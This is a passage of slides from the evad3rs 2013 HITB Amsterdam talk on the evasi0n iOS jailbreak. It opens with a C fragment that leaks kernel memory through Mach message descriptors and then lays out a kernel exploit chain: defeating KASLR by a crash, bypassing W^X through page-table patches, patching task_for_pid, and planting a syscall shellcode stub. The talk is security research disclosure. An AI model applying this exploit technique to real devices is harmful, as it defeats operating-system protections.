        if (recv_msg.descriptors[i].address && region_size(recv_msg.descriptors[i].address) >= size)
        {
            // Detect if we've accidentally matched one of the buffers at KernelBufferIndex + 1 (fake.data), KernelBufferIndex (filled with table's data up to FIRST_ARG_INDEX), or on other buffer.
            if (memcmp(recv_msg.descriptors[i].address, table, sizeof(uint32_t) * FIRST_ARG_INDEX) != 0 && memcmp(recv_msg.descriptors[i].address, fake_data, sizeof(fake_data)) != 0)
            {
                memcpy(buffer, recv_msg.descriptors[i].address, size);
                ret = i;
            }
        }
        vm_deallocate(mach_task_self(), (vm_address_t)recv_msg.descriptors[i].address, size);
    }
    else
    {
        vm_deallocate(mach_task_self(), (vm_address_t)recv_msg.descriptors[i].address, recv_msg.descriptors[i].size);
    }
}
PUTTING IT ALL TOGETHER

Swiping through modern security features, HITB, AMS 2013

jeudi 11 avril 13
• Wait for **IOUSBDeviceClient** driver to come up.

• Crash kernel once using `call_indirect(data abort)` and thread exception handling to get current boot’s offset of `stallPipe_1`. Calculate KASLR offset.

• Load cached `memmove` offset or find `memmove` by reading `default_pager()` function (always first function in iOS XNU) and looking for `memset`. `memmove` is right above `memset`.

• Load other cached offsets or use `memmove` in more reliable read-anywhere primitive to dynamically find them.

*Swiping through modern security features, HITB, AMS 2013*
• Get around kernel \( W^X \) by directly patching kernel hardware page tables to make patch targets in kernel text writable.

• Call kernel flush TLB function.

• Requires kernel-read anywhere to walk tables.

• **Patch** `task_for_pid` **to enable** `task_for_pid` for PID 0 (kernel_task) to be called.

• Install shell code stub to syscall 0 to avoid using IOUSB again due to potential race conditions with `kalloc`ed `mach_msg` OOL descriptors.

• **Do rest of the patches using** `vm_write/vm_read` calls. Use shell code stub to flush caches, etc.

Swiping through modern security features, HITB, AMS 2013  

@evad3rs
- Clean up
  - Fix the `kalloc` leak from jumping to the exception vectors.
  - Stick around until USB device descriptors fully initialized.
  - Due to sloppy programming of the driver, USB device descriptors must be configured before the first driver user client is shut down, or they can never be configured again.
IMPROVEMENTS FOR THE FUTURE

- Reusable patch finding routines that make it easier to find needed offsets in the era of PIC
  
  [https://github.com/planetbeing/ios-jailbreak-patchfinder](https://github.com/planetbeing/ios-jailbreak-patchfinder)

- Internationalized jailbreak software to serve the growing non-English speaking jailbreak community.